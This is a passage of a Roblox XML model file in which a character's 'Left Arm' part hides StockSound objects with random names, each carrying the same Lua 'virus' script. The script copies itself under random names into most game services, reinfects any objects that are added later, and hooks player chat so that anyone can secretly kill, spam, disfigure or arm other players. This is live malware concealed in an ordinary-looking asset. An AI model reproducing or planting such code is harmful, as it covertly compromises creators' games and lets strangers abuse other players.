if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX268">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">i1n5e0</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX269">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">6gt628h</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX270">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-22.9976959</X>
							<Y>3.29861999</Y>
							<Z>-13.9827604</Z>
							<R00>0.802155316</R00>
							<R01>3.48731282e-006</R01>
							<R02>0.597115457</R02>
							<R10>-3.23073073e-005</R10>
							<R11>1</R11>
							<R12>3.75608506e-005</R12>
							<R20>-0.597115457</R20>
							<R21>-4.94208289e-005</R21>
							<R22>0.802155316</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX271">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ur1g0</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX272">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">axygcjy4u</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
